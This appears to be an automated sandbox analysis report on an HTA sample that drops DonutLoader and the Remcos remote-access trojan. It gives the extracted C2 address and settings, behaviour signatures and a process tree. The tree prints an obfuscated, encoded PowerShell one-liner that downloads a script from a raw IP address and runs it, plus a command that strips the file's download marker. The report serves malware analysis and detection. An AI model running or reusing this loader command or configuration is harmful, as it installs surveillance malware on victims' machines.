Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
11/11/2026, 00:23
General
- Target beautiful.hta
- Size 15KB
- Sample261111-apt81asz8l
- SHA256 aa74860b29b3f1dd8510f063e2efa9103d58cde19f6488f051c8413dfb09304c
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
15thtry1564
-
141.98.10.188:2409
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-HRX1LH
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Detects DonutLoader 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 2 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\beautiful.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c PoWerSHELL -ex bypAss -nop -w 1 -eC IAAgACAAIAAgACAAIAB3AEcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcANAAuADMANAAuADEANAA1AC8AMQA2AC8AcwB3AGkAcwBzAC4AagBzAB0gIAAgACAAIAAgACAAIAAtAG8AVQBUAEYAaQBsAGUAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAG4AVgA6AHAAVQBiAGwASQBDAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSAgAAkACQAJAAkACQAgACAAIAAgACAACQAgAAkAIAAgADsAIAAJACAAIAAgACAACQAgACAAIAAgAAkAIAAJACAACQAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAE4AdgA6AFAAVQBiAEwAaQBjAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSA= "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWerSHELL -ex bypAss -nop -w 1 -eC IAAgACAAIAAgACAAIAB3AEcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcANAAuADMANAAuADEANAA1AC8AMQA2AC8AcwB3AGkAcwBzAC4AagBzAB0gIAAgACAAIAAgACAAIAAtAG8AVQBUAEYAaQBsAGUAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAG4AVgA6AHAAVQBiAGwASQBDAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSAgAAkACQAJAAkACQAgACAAIAAgACAACQAgAAkAIAAgADsAIAAJACAAIAAgACAACQAgACAAIAAgAAkAIAAJACAACQAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAE4AdgA6AFAAVQBiAEwAaQBjAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSA= "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\swissnetsing.js"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Public\swissnetsing.js:Zone.Identifier"5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- NTFS ADS
-
-
C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe"C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe" C:\Users\Admin\Documents\GRHCQWSEWAGILWNT5⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
GRHCQWSEWAGILWNT
TNWLIGAWESWQCHRG.exe
lua51.dll
swissnetsing.js
memory/2624-12-0x0000000006420000-0x000000000646C000-memory.dmp
memory/2624-15-0x0000000074C42000-0x0000000074C43000-memory.dmp
memory/2624-6-0x00000000057A0000-0x0000000005806000-memory.dmp
memory/2624-7-0x0000000005810000-0x0000000005876000-memory.dmp
memory/2624-10-0x0000000006090000-0x00000000063EB000-memory.dmp
memory/2624-11-0x00000000063F0000-0x000000000640E000-memory.dmp
memory/2624-0-0x0000000074C42000-0x0000000074C43000-memory.dmp
memory/2624-13-0x0000000007D20000-0x000000000839C000-memory.dmp
memory/2624-14-0x00000000068F0000-0x000000000690A000-memory.dmp
memory/2624-5-0x0000000005600000-0x0000000005622000-memory.dmp
memory/2624-16-0x0000000074C30000-0x00000000753EC000-memory.dmp
memory/2624-17-0x0000000074C30000-0x00000000753EC000-memory.dmp
memory/2624-4-0x0000000074C30000-0x00000000753EC000-memory.dmp
memory/2624-24-0x0000000074C30000-0x00000000753EC000-memory.dmp
memory/2624-3-0x0000000005900000-0x0000000005F4A000-memory.dmp
memory/2624-2-0x0000000074C30000-0x00000000753EC000-memory.dmp
memory/2624-1-0x0000000002B70000-0x0000000002BA6000-memory.dmp
memory/2928-56-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-82-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-42-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-43-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-45-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-44-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-48-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-47-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-46-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-52-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-51-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-50-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-49-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-53-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-57-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-40-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-55-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-54-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-59-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-58-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-60-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-65-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-87-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-86-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-83-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-41-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-81-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-80-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-79-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-78-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-77-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-76-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-75-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-74-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-73-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-72-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-71-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-70-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-67-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-66-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-64-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-63-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-62-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-61-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-85-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-84-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-69-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-68-0x0000000057FD0000-0x0000000057FE0000-memory.dmp
memory/2928-88-0x0000000002670000-0x0000000003670000-memory.dmp
memory/2928-89-0x0000000014540000-0x00000000145EF000-memory.dmp
memory/2928-90-0x0000000000400000-0x000000000040D000-memory.dmp
memory/2928-91-0x0000000066D80000-0x0000000066DF4000-memory.dmp